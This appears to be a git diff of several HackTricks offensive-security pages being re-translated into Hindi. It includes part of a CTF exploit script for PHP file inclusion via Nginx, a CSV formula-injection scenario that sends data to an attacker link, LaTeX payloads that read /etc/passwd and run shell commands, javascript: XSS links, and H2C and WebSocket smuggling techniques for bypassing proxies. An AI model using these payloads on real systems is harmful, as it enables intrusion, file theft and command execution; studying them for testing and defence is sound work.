requests_session = create_requests_session()
|
||||
print('\[DEBUG] Nginx pids प्राप्त कर रहे हैं')
|
||||
nginx_pids = get_nginx_pids(requests_session)
|
||||
print(f'\[DEBUG] Nginx pids: {nginx_pids}')
|
||||
print('\[DEBUG] पेलोड भेजना शुरू कर रहे हैं')
|
||||
send_payload_multiprocess(requests_session)
|
||||
print('\[DEBUG] fd पाठकों को शुरू कर रहे हैं')
|
||||
read_file_multiprocess(requests_session, nginx_pids)
|
||||
```
|
||||
```
|
||||
|
||||
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
|
||||
|
||||
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||
|
||||
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
|
||||
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
|
||||
|
||||
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||
|
||||
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
|
||||
|
||||
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
|
||||
```
|
||||
## Labs
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||
|
@ -116,31 +57,18 @@ if __name__ == "__main__":
|
|||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
|
||||
|
||||
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
|
||||
|
||||
You can check their website and try their engine for **free** at:
|
||||
|
||||
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
||||
|
|
|
@ -15,22 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Formula Injection
|
||||
|
||||
### Info
|
||||
|
||||
यदि आपका **input** **CSV file**s (या किसी अन्य फ़ाइल) के अंदर **reflected** हो रहा है जो शायद **Excel** द्वारा खोली जाएगी, तो आप Excel **formulas** डालने में सक्षम हो सकते हैं जो तब **executed** होंगे जब उपयोगकर्ता **फाइल खोलता है** या जब उपयोगकर्ता Excel शीट के अंदर कुछ लिंक पर **क्लिक करता है**।
|
||||
यदि आपका **input** **CSV file**s (या किसी अन्य फ़ाइल जो शायद **Excel** द्वारा खोली जाएगी) के अंदर **प्रतिबिंबित** हो रहा है, तो आप Excel **formulas** डालने में सक्षम हो सकते हैं जो तब **executed** होंगे जब उपयोगकर्ता **फाइल खोलता है** या जब उपयोगकर्ता Excel शीट के अंदर कुछ लिंक पर **क्लिक करता है**।
|
||||
|
||||
{% hint style="danger" %}
|
||||
आजकल **Excel उपयोगकर्ता को चेतावनी देगा** (कई बार) जब कुछ **Excel से बाहर से लोड किया जाता है** ताकि उसे दुर्भावनापूर्ण कार्रवाई से रोका जा सके। इसलिए, अंतिम payload पर सामाजिक इंजीनियरिंग पर विशेष प्रयास करना आवश्यक है।
|
||||
आजकल **Excel उपयोगकर्ता को चेतावनी देगा** (कई बार) जब **Excel के बाहर से कुछ लोड किया जाता है** ताकि उसे दुर्भावनापूर्ण कार्रवाई से रोका जा सके। इसलिए, अंतिम payload पर सामाजिक इंजीनियरिंग पर विशेष प्रयास करना आवश्यक है।
|
||||
{% endhint %}
|
||||
|
||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||
|
@ -51,11 +43,11 @@ The following example was taken from [https://payatu.com/csv-injection-basic-to-
|
|||
कल्पना करें कि एक छात्र रिकॉर्ड प्रबंधन प्रणाली में सुरक्षा उल्लंघन को CSV इंजेक्शन हमले के माध्यम से शोषण किया गया है। हमलावर का प्राथमिक इरादा उस प्रणाली को समझौता करना है जिसका उपयोग शिक्षक छात्र विवरण प्रबंधित करने के लिए करते हैं। यह विधि हमलावर द्वारा एप्लिकेशन में एक दुर्भावनापूर्ण पेलोड इंजेक्ट करने में शामिल है, विशेष रूप से छात्र विवरण के लिए निर्धारित क्षेत्रों में हानिकारक सूत्र दर्ज करके। हमला इस प्रकार unfolds:
|
||||
|
||||
1. **दुर्भावनापूर्ण पेलोड का इंजेक्शन:**
|
||||
* हमलावर एक छात्र विवरण फॉर्म प्रस्तुत करता है लेकिन एक सूत्र शामिल करता है जो सामान्यतः स्प्रेडशीट में उपयोग किया जाता है (जैसे, `=HYPERLINK("<malicious_link>","Click here")`).
|
||||
* हमलावर एक छात्र विवरण फॉर्म प्रस्तुत करता है लेकिन इसमें स्प्रेडशीट में सामान्यतः उपयोग किए जाने वाले सूत्र को शामिल करता है (जैसे, `=HYPERLINK("<malicious_link>","Click here")`).
|
||||
* यह सूत्र एक हाइपरलिंक बनाने के लिए डिज़ाइन किया गया है, लेकिन यह हमलावर द्वारा नियंत्रित एक दुर्भावनापूर्ण सर्वर की ओर इशारा करता है।
|
||||
2. **समझौता किए गए डेटा का निर्यात:**
|
||||
* शिक्षक, समझौते से अनजान, डेटा को CSV फ़ाइल में निर्यात करने के लिए एप्लिकेशन की कार्यक्षमता का उपयोग करते हैं।
|
||||
* CSV फ़ाइल, जब खोली जाती है, तब भी दुर्भावनापूर्ण पेलोड को शामिल करती है। यह पेलोड स्प्रेडशीट में एक क्लिक करने योग्य हाइपरलिंक के रूप में दिखाई देता है।
|
||||
* शिक्षक, समझौते के बारे में अनजान, डेटा को CSV फ़ाइल में निर्यात करने के लिए एप्लिकेशन की कार्यक्षमता का उपयोग करते हैं।
|
||||
* CSV फ़ाइल, जब खोली जाती है, तब भी इसमें दुर्भावनापूर्ण पेलोड होता है। यह पेलोड स्प्रेडशीट में एक क्लिक करने योग्य हाइपरलिंक के रूप में दिखाई देता है।
|
||||
3. **हमले को सक्रिय करना:**
|
||||
* एक शिक्षक हाइपरलिंक पर क्लिक करता है, यह मानते हुए कि यह छात्र के विवरण का एक वैध हिस्सा है।
|
||||
* क्लिक करने पर, संवेदनशील डेटा (संभवतः स्प्रेडशीट या शिक्षक के कंप्यूटर से विवरण शामिल) हमलावर के सर्वर पर भेजा जाता है।
|
||||
|
@ -104,15 +96,15 @@ Google Sheets ऐसी फ़ंक्शन प्रदान करता
|
|||
आमतौर पर, सर्वर जो इंटरनेट पर **LaTeX कोड को PDF में परिवर्तित** करते हैं, वे **`pdflatex`** का उपयोग करते हैं।\
|
||||
यह प्रोग्राम कमांड निष्पादन को (अ)अनुमति देने के लिए 3 मुख्य विशेषताओं का उपयोग करता है:
|
||||
|
||||
* **`--no-shell-escape`**: `\write18{command}` निर्माण को **अक्षम** करें, भले ही यह texmf.cnf फ़ाइल में सक्षम हो।
|
||||
* **`--shell-restricted`**: `--shell-escape` के समान, लेकिन **सुरक्षित** सेट की **पूर्वनिर्धारित** \*\*कमांड्स पर **सीमित** (\*\*Ubuntu 16.04 में सूची `/usr/share/texmf/web2c/texmf.cnf` में है)।
|
||||
* **`--shell-escape`**: `\write18{command}` निर्माण को **सक्षम** करें। कमांड कोई भी शेल कमांड हो सकता है। सुरक्षा कारणों से सामान्यतः इस निर्माण की अनुमति नहीं होती है।
|
||||
* **`--no-shell-escape`**: `\write18{command}` संरचना को **अक्षम** करें, भले ही यह texmf.cnf फ़ाइल में सक्षम हो।
|
||||
* **`--shell-restricted`**: `--shell-escape` के समान, लेकिन **सुरक्षित** सेट की **पूर्वनिर्धारित** \*\*कमांड्स पर **सीमित**।
|
||||
* **`--shell-escape`**: `\write18{command}` संरचना को **सक्षम** करें। कमांड कोई भी शेल कमांड हो सकता है। सुरक्षा कारणों से इस संरचना को सामान्यतः अनुमति नहीं दी जाती है।
|
||||
|
||||
हालांकि, कमांड निष्पादित करने के अन्य तरीके हैं, इसलिए RCE से बचने के लिए `--shell-restricted` का उपयोग करना बहुत महत्वपूर्ण है।
|
||||
हालांकि, कमांड निष्पादन के अन्य तरीके हैं, इसलिए RCE से बचने के लिए `--shell-restricted` का उपयोग करना बहुत महत्वपूर्ण है।
|
||||
|
||||
### Read file <a href="#read-file" id="read-file"></a>
|
||||
|
||||
आपको \[ या $ के रूप में रैपर के साथ इंजेक्शन को समायोजित करने की आवश्यकता हो सकती है।
|
||||
आपको \[ या $ जैसे रैपर के साथ इंजेक्शन को समायोजित करने की आवश्यकता हो सकती है।
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
@ -147,7 +139,7 @@ Google Sheets ऐसी फ़ंक्शन प्रदान करता
|
|||
```
|
||||
### Command execution <a href="#command-execution" id="command-execution"></a>
|
||||
|
||||
कमांड का इनपुट stdin पर रीडायरेक्ट किया जाएगा, इसे प्राप्त करने के लिए एक टेम्प फ़ाइल का उपयोग करें।
|
||||
कमांड का इनपुट stdin पर पुनर्निर्देशित किया जाएगा, इसे प्राप्त करने के लिए एक अस्थायी फ़ाइल का उपयोग करें।
|
||||
```bash
|
||||
\immediate\write18{env > output}
|
||||
\input{output}
|
||||
|
@ -180,33 +172,28 @@ Google Sheets ऐसी फ़ंक्शन प्रदान करता
|
|||
\input|ls|base4
|
||||
\input{|"/bin/hostname"}
|
||||
```
|
||||
### क्रॉस साइट स्क्रिप्टिंग <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
|
||||
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) से
|
||||
```bash
|
||||
\url{javascript:alert(1)}
|
||||
\href{javascript:alert(1)}{placeholder}
|
||||
```
|
||||
## Ghostscript Injection
|
||||
|
||||
**Check** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
**चेक करें** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
|
||||
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
|
||||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,37 +15,29 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
#### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
H2C, या **http2 ओवर क्लियरटेक्स्ट**, अस्थायी HTTP कनेक्शनों के मानक से भटकता है, एक मानक HTTP **कनेक्शन को स्थायी में अपग्रेड करके**। यह अपग्रेड किया गया कनेक्शन ongoing संचार के लिए http2 बाइनरी प्रोटोकॉल का उपयोग करता है, जो कि plaintext HTTP की एकल-रिक्वेस्ट प्रकृति के विपरीत है।
|
||||
H2C, या **http2 over cleartext**, अस्थायी HTTP कनेक्शनों के मानक से भटकता है, एक मानक HTTP **कनेक्शन को स्थायी में अपग्रेड करके**। यह अपग्रेड किया गया कनेक्शन ongoing संचार के लिए http2 बाइनरी प्रोटोकॉल का उपयोग करता है, जो कि plaintext HTTP की एकल-निवेदन प्रकृति के विपरीत है।
|
||||
|
||||
स्मगलिंग समस्या का मुख्य कारण **रिवर्स प्रॉक्सी** का उपयोग है। सामान्यतः, रिवर्स प्रॉक्सी HTTP अनुरोधों को प्रोसेस और फॉरवर्ड करता है, उसके बाद बैकएंड का उत्तर लौटाता है। हालाँकि, जब HTTP अनुरोध में `Connection: Upgrade` हेडर मौजूद होता है (जो सामान्यतः वेबस्केट कनेक्शनों के साथ देखा जाता है), तो रिवर्स **प्रॉक्सी क्लाइंट और सर्वर के बीच एक स्थायी कनेक्शन बनाए रखता है**, जो कुछ प्रोटोकॉल द्वारा आवश्यक निरंतर विनिमय को सुविधाजनक बनाता है। H2C कनेक्शनों के लिए, RFC का पालन करने के लिए तीन विशिष्ट हेडरों की उपस्थिति आवश्यक है:
|
||||
स्मगलिंग समस्या का मुख्य कारण **रिवर्स प्रॉक्सी** के उपयोग में है। सामान्यतः, रिवर्स प्रॉक्सी HTTP अनुरोधों को प्रोसेस और फॉरवर्ड करता है, उसके बाद बैकएंड का उत्तर लौटाता है। हालाँकि, जब HTTP अनुरोध में `Connection: Upgrade` हेडर मौजूद होता है (जो सामान्यतः वेबस्केट कनेक्शनों के साथ देखा जाता है), तो रिवर्स **प्रॉक्सी क्लाइंट और सर्वर के बीच एक स्थायी कनेक्शन बनाए रखता है**, जो कुछ प्रोटोकॉल द्वारा आवश्यक निरंतर विनिमय को सुविधाजनक बनाता है। H2C कनेक्शनों के लिए, RFC का पालन करने के लिए तीन विशिष्ट हेडरों की उपस्थिति आवश्यक है:
|
||||
```
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
Connection: Upgrade, HTTP2-Settings
|
||||
```
|
||||
The vulnerability arises when, after upgrading a connection, the reverse proxy ceases to manage individual requests, assuming its job of routing is complete post-connection establishment. H2C Smuggling का लाभ उठाने से अनुरोध प्रसंस्करण के दौरान लागू किए गए रिवर्स प्रॉक्सी नियमों को दरकिनार किया जा सकता है, जैसे कि पथ-आधारित रूटिंग, प्रमाणीकरण, और WAF प्रसंस्करण, यह मानते हुए कि H2C कनेक्शन सफलतापूर्वक आरंभ किया गया है।
|
||||
The vulnerability arises when, after upgrading a connection, the reverse proxy ceases to manage individual requests, assuming its job of routing is complete post-connection establishment. Exploiting H2C Smuggling allows for circumvention of reverse proxy rules applied during request processing, such as path-based routing, authentication, and WAF processing, assuming an H2C connection is successfully initiated.
|
||||
|
||||
#### Vulnerable Proxies <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
यह भेद्यता रिवर्स प्रॉक्सी के `Upgrade` और कभी-कभी `Connection` हेडर के प्रबंधन पर निर्भर करती है। निम्नलिखित प्रॉक्सियों में स्वाभाविक रूप से इन हेडरों को प्रॉक्सी-पास के दौरान अग्रेषित किया जाता है, जिससे H2C स्मगलिंग सक्षम होती है:
|
||||
The vulnerability is contingent on the reverse proxy's handling of `Upgrade` and sometimes `Connection` headers. The following proxies inherently forward these headers during proxy-pass, thereby inherently enabling H2C smuggling:
|
||||
|
||||
* HAProxy
|
||||
* Traefik
|
||||
* Nuster
|
||||
|
||||
इसके विपरीत, ये सेवाएँ स्वाभाविक रूप से प्रॉक्सी-पास के दौरान दोनों हेडरों को अग्रेषित नहीं करती हैं। हालाँकि, इन्हें असुरक्षित रूप से कॉन्फ़िगर किया जा सकता है, जिससे `Upgrade` और `Connection` हेडरों का बिना फ़िल्टर किया गया अग्रेषण संभव हो जाता है:
|
||||
Conversely, these services do not inherently forward both headers during proxy-pass. However, they may be configured insecurely, allowing unfiltered forwarding of `Upgrade` and `Connection` headers:
|
||||
|
||||
* AWS ALB/CLB
|
||||
* NGINX
|
||||
|
@ -58,52 +50,52 @@ The vulnerability arises when, after upgrading a connection, the reverse proxy c
|
|||
|
||||
#### Exploitation <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
यह ध्यान रखना महत्वपूर्ण है कि सभी सर्वर स्वाभाविक रूप से एक अनुपालन H2C कनेक्शन अपग्रेड के लिए आवश्यक हेडरों को अग्रेषित नहीं करते हैं। इस प्रकार, AWS ALB/CLB, NGINX, और Apache Traffic Server जैसे सर्वर स्वाभाविक रूप से H2C कनेक्शनों को अवरुद्ध करते हैं। फिर भी, अनुपालन न करने वाले `Connection: Upgrade` वैरिएंट के साथ परीक्षण करना सार्थक है, जो `Connection` हेडर से `HTTP2-Settings` मान को बाहर करता है, क्योंकि कुछ बैकएंड मानकों के अनुसार नहीं हो सकते हैं।
|
||||
It's crucial to note that not all servers inherently forward the headers required for a compliant H2C connection upgrade. As such, servers like AWS ALB/CLB, NGINX, and Apache Traffic Server, among others, naturally block H2C connections. Nonetheless, it's worth testing with the non-compliant `Connection: Upgrade` variant, which excludes the `HTTP2-Settings` value from the `Connection` header, as some backends may not conform to the standards.
|
||||
|
||||
{% hint style="danger" %}
|
||||
`proxy_pass` URL में निर्दिष्ट विशेष **पथ** (जैसे, `http://backend:9999/socket.io`) की परवाह किए बिना, स्थापित कनेक्शन डिफ़ॉल्ट रूप से `http://backend:9999` होता है। यह इस तकनीक का लाभ उठाते हुए उस आंतरिक एंडपॉइंट के भीतर किसी भी पथ के साथ बातचीत की अनुमति देता है। इसलिए, `proxy_pass` URL में पथ का निर्दिष्ट करना पहुँच को प्रतिबंधित नहीं करता है।
|
||||
Irrespective of the specific **path** designated in the `proxy_pass` URL (e.g., `http://backend:9999/socket.io`), the established connection defaults to `http://backend:9999`. This allows for interaction with any path within that internal endpoint, leveraging this technique. Consequently, the specification of a path in the `proxy_pass` URL does not restrict access.
|
||||
{% endhint %}
|
||||
|
||||
उपकरण [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) और [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) H2C कनेक्शन स्थापित करके **प्रॉक्सी-लगाए गए सुरक्षा उपायों को दरकिनार करने** के प्रयासों को सुविधाजनक बनाते हैं, जिससे प्रॉक्सी द्वारा संरक्षित संसाधनों तक पहुँच संभव होती है।
|
||||
The tools [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) and [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitate attempts to **circumvent proxy-imposed protections** by establishing an H2C connection, thereby enabling access to resources shielded by the proxy.
|
||||
|
||||
इस भेद्यता के बारे में अतिरिक्त जानकारी के लिए, विशेष रूप से NGINX के संबंध में, [**इस विस्तृत संसाधन**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection) को देखें।
|
||||
For additional information on this vulnerability, particularly concerning NGINX, refer to [**this detailed resource**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
|
||||
|
||||
## Websocket Smuggling
|
||||
|
||||
Websocket स्मगलिंग, प्रॉक्सी के माध्यम से पहुँच योग्य एक एंडपॉइंट के लिए HTTP2 टनल बनाने के विपरीत, संभावित प्रॉक्सी सीमाओं को दरकिनार करने और एंडपॉइंट के साथ सीधे संचार को सुविधाजनक बनाने के लिए एक Websocket टनल स्थापित करता है।
|
||||
Websocket smuggling, unlike creating a HTTP2 tunnel to an endpoint accessible via a proxy, establishes a Websocket tunnel to bypass potential proxy limitations and facilitate direct communication with the endpoint.
|
||||
|
||||
### Scenario 1
|
||||
|
||||
इस परिदृश्य में, एक बैकएंड जो एक सार्वजनिक WebSocket API के साथ एक अनुपलब्ध आंतरिक REST API प्रदान करता है, एक दुर्भावनापूर्ण क्लाइंट द्वारा लक्षित किया जाता है जो आंतरिक REST API तक पहुँच प्राप्त करने की कोशिश कर रहा है। हमला कई चरणों में विकसित होता है:
|
||||
In this scenario, a backend that offers a public WebSocket API alongside an inaccessible internal REST API is targeted by a malicious client seeking access to the internal REST API. The attack unfolds in several steps:
|
||||
|
||||
1. क्लाइंट एक गलत `Sec-WebSocket-Version` प्रोटोकॉल संस्करण के साथ रिवर्स प्रॉक्सी को एक अपग्रेड अनुरोध भेजकर शुरू करता है। प्रॉक्सी, `Sec-WebSocket-Version` हेडर को मान्य करने में विफल रहते हुए, अपग्रेड अनुरोध को मान्य मानती है और इसे बैकएंड को अग्रेषित करती है।
|
||||
2. बैकएंड `426` स्थिति कोड के साथ प्रतिक्रिया करता है, जो `Sec-WebSocket-Version` हेडर में गलत प्रोटोकॉल संस्करण को इंगित करता है। रिवर्स प्रॉक्सी, बैकएंड की प्रतिक्रिया स्थिति को नजरअंदाज करते हुए, WebSocket संचार के लिए तत्परता मानती है और प्रतिक्रिया को क्लाइंट को भेजती है।
|
||||
3. परिणामस्वरूप, रिवर्स प्रॉक्सी को यह विश्वास दिलाया जाता है कि क्लाइंट और बैकएंड के बीच एक WebSocket कनेक्शन स्थापित हो गया है, जबकि वास्तव में, बैकएंड ने अपग्रेड अनुरोध को अस्वीकार कर दिया था। फिर भी, प्रॉक्सी क्लाइंट और बैकएंड के बीच एक खुला TCP या TLS कनेक्शन बनाए रखती है, जिससे क्लाइंट को इस कनेक्शन के माध्यम से निजी REST API तक बिना किसी प्रतिबंध के पहुँच मिलती है।
|
||||
1. The client initiates by sending an Upgrade request to the reverse proxy with an incorrect `Sec-WebSocket-Version` protocol version in the header. The proxy, failing to validate the `Sec-WebSocket-Version` header, believes the Upgrade request to be valid and forwards it to the backend.
|
||||
2. The backend responds with a status code `426`, indicating the incorrect protocol version in the `Sec-WebSocket-Version` header. The reverse proxy, overlooking the backend's response status, assumes readiness for WebSocket communication and relays the response to the client.
|
||||
3. Consequently, the reverse proxy is misled into believing a WebSocket connection has been established between the client and backend, while in reality, the backend had rejected the Upgrade request. Despite this, the proxy maintains an open TCP or TLS connection between the client and backend, allowing the client unrestricted access to the private REST API through this connection.
|
||||
|
||||
प्रभावित रिवर्स प्रॉक्सी में Varnish शामिल है, जिसने इस मुद्दे को संबोधित करने से इनकार कर दिया, और Envoy प्रॉक्सी संस्करण 1.8.0 या उससे पुराने, जिनके बाद के संस्करणों ने अपग्रेड तंत्र को बदल दिया है। अन्य प्रॉक्सी भी संवेदनशील हो सकते हैं।
|
||||
Affected reverse proxies include Varnish, which declined to address the issue, and Envoy proxy version 1.8.0 or older, with later versions having altered the upgrade mechanism. Other proxies may also be susceptible.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
|
||||
|
||||
### Scenario 2
|
||||
|
||||
यह परिदृश्य एक बैकएंड को शामिल करता है जिसमें एक सार्वजनिक WebSocket API और स्वास्थ्य जांच के लिए एक सार्वजनिक REST API है, साथ ही एक अनुपलब्ध आंतरिक REST API है। हमला, जो अधिक जटिल है, निम्नलिखित चरणों में शामिल है:
|
||||
This scenario involves a backend with both a public WebSocket API and a public REST API for health checking, along with an inaccessible internal REST API. The attack, more complex, involves the following steps:
|
||||
|
||||
1. क्लाइंट स्वास्थ्य जांच API को सक्रिय करने के लिए एक POST अनुरोध भेजता है, जिसमें एक अतिरिक्त HTTP हेडर `Upgrade: websocket` शामिल होता है। NGINX, जो रिवर्स प्रॉक्सी के रूप में कार्य करता है, इसे केवल `Upgrade` हेडर के आधार पर एक मानक अपग्रेड अनुरोध के रूप में व्याख्या करता है, अनुरोध के अन्य पहलुओं की अनदेखी करता है, और इसे बैकएंड को अग्रेषित करता है।
|
||||
2. बैकएंड स्वास्थ्य जांच API को निष्पादित करता है, एक बाहरी संसाधन से संपर्क करता है जिसे हमलावर द्वारा नियंत्रित किया जाता है जो `101` स्थिति कोड के साथ एक HTTP प्रतिक्रिया लौटाता है। यह प्रतिक्रिया, जब बैकएंड द्वारा प्राप्त होती है और NGINX को अग्रेषित की जाती है, प्रॉक्सी को यह सोचने के लिए धोखा देती है कि एक WebSocket कनेक्शन स्थापित हो गया है क्योंकि यह केवल स्थिति कोड की मान्यता करता है।
|
||||
